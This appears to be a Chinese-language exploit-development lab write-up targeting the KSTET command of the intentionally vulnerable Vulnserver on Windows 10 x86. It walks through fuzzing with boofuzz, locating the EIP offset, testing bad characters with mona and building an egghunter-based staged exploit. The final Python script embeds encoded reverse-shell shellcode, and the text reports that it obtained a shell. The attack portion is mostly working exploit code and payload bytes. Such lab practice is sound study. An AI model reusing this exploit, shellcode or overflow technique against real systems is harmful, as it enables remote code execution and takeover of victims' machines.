本次实验讨论在Win10 21h2 x86
系统下关闭DEP
,利用egghunter
完成,因为空间大小问题,最终的利用代码会涉及到多个stage
。
先来看一下IDA
中KSTET
的大致处理流程,挑重点的看:
注意其中的_Function2
,跟进看一下:
发现调用的是_strcpy
函数,这是一个不安全的函数,会导致栈溢出。
换一种fuzz
方式,比之前采用的SPIKE Fuzz
好一些。在这里:boofuzz
借用别人的fuzz
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from boofuzz import * import argparse
def test_connection(target, logger, session, *args, **kwargs): try: banner = target.recv(1024) except: exit(1)
def main(ip,port,cmd): session = Session( sleep_time=1, target=Target( connection=SocketConnection(ip, port, proto='tcp') ), ) s_initialize(name="Request") with s_block("exploit"): s_static(cmd.upper()) s_delim(" ",fuzzable=False) s_string("FUZZ",fuzzable=True) s_delim("\r\n",fuzzable=False) session.connect(s_get("Request"), callback=test_connection) session.fuzz()
if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('--host', required=True) parser.add_argument('--port', required=True, type=int) parser.add_argument('--cmd',required=True) args = parser.parse_args() main(args.host,args.port,args.cmd)
|
看一下crash
时候的结果:
注意看标红的,说是前一个包导致的crash
,也就是128bytes
,后来验证其实100bytes
也能导致crash
。个人感觉前后两个包在后续都需要单独确认一下,验证较小的包能否导致crash
。下图是发送100
个A
字符导致crash
:
寻找offset
,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import struct import socket
VULNSRVR_CMD = b"KSTET " CRASH_LEN = 100 OFFSET = 0
target = ("192.168.13.204", 9999)
payload = VULNSRVR_CMD payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
with socket.create_connection(target) as sock: sock.recv(512)
sent = sock.send(payload) print(f"sent {sent} bytes")
|
EIP被覆盖为63413363
,获取offset
为70
,如下图所示:
在寻找坏字符,这里因为空间不够,可以将坏字符集分成多个部分,每部分测试一遍。也可以利用mona
中的compare
来进行坏字符的判别。
1 2 3 4
| !py mona ba -s 1 -e 46 !py mona ba -s 47 -e 8c !py mona ba -s 8d -e d2 !py mona ba -s d3 -e ff
|
执行上述命令的时候,如果bytearray.txt
和bytearray.bin
文件无法写入,那是因为权限不够,需要将windbg
以管理员权限打开。我这里已经转存:
代码里体现如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| chunk_one = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" chunk_one += b"\x41\x42\x43\x44\x45\x46"
chunk_two = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66" chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86" chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"
chunk_three = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac" chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc" chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"
chunk_four = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
现在来看一下查找坏字符的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import struct import socket
VULNSRVR_CMD = b"KSTET " CRASH_LEN = 100 OFFSET = 70
target = ("192.168.13.138", 9999)
chunk_one = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" chunk_one += b"\x41\x42\x43\x44\x45\x46"
chunk_two = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66" chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86" chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"
chunk_three = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac" chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc" chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"
chunk_four = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = VULNSRVR_CMD payload += chunk_one payload += b"A" * (OFFSET-len(chunk_one)) payload += b"B" * 4 payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock: sock.recv(512)
sent = sock.send(payload) print(f"sent {sent} bytes")
|
注意看windbg
中crash
现场,发现eax+0x06
指向chunk_one
的开始部分:
来看mona
自己比较的结果:
注意看标红的部分,这里显示没有坏字符,后续几个操作就不做了。最后发现除了\x00
没有其他坏字符。有个地方注意,如果找到坏字符,后续还需要删除掉坏字符重新操作来一遍。
到目前为止,你会发现栈空间不足,没法放置shellcode
。这里可以参照之前GTER Egghunter
相关文章,发两次包,一次发shellcode
,一次发egghunter payload
。egghunter payload
能够在内存中找到shellcode
。所以,目前需要关注的点是如何放置egghunter payload
,以及如何跳转到egghunter payload
所在位置。借用前一篇文章生成标准的egghunter payload
:
在查看坏字符的时候,我们知道eax+0x06
正好指向测试字符串的开始部分,所以add eax,0x06;jmp eax
正好可以跳转到测试字符串的开始,看下这两条指令的机器码:
现在把egghunter payload
放在这里,这样就可以直接跳转到egghunter payload
的开始了。eip
让其指向essfunc.dll
中某个jmp esp
即可。
命令如下:
结合以上分析,最终的利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import socket import struct
HOST = '192.168.13.138' PORT = 9999
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
shellcode = b"w00tw00t" shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4" shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17" shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde" shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82" shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab" shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63" shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81" shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99" shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16" shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc" shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2" shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf" shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58" shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07" shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd" shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22" shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5" shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda" shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5" shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65" shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c" shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f" shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9" shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7" shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05" shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a" shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e" shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66" shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9" shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8" shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0" shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"
nops = b'\x90'*4 junk = b"A"*(70-len(egghunter)-4) eip = struct.pack("<L", 0x625011af) stage = b"\x83\xC0\x06" stage += b"\xFF\xE0" others = b"C"*(100-70-4-len(stage))
PAYLOAD1 = ( b'TRUN /.:/'+ shellcode)
PAYLOAD2 = ( b'KSTET ' + junk + nops + egghunter + eip + nops + stage + others )
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD1)
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD2)
|
成功反弹shell
:
参考:
1.https://epi052.gitlab.io/notes-to-self/blog/2020-05-19-osce-exam-practice-part-five/
2.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
3.https://blog.cyber-f0x.co.uk/Vulnserver-KSTET/
4.https://captmeelo.com/exploitdev/osceprep/2018/06/29/vulnserver-kstet.html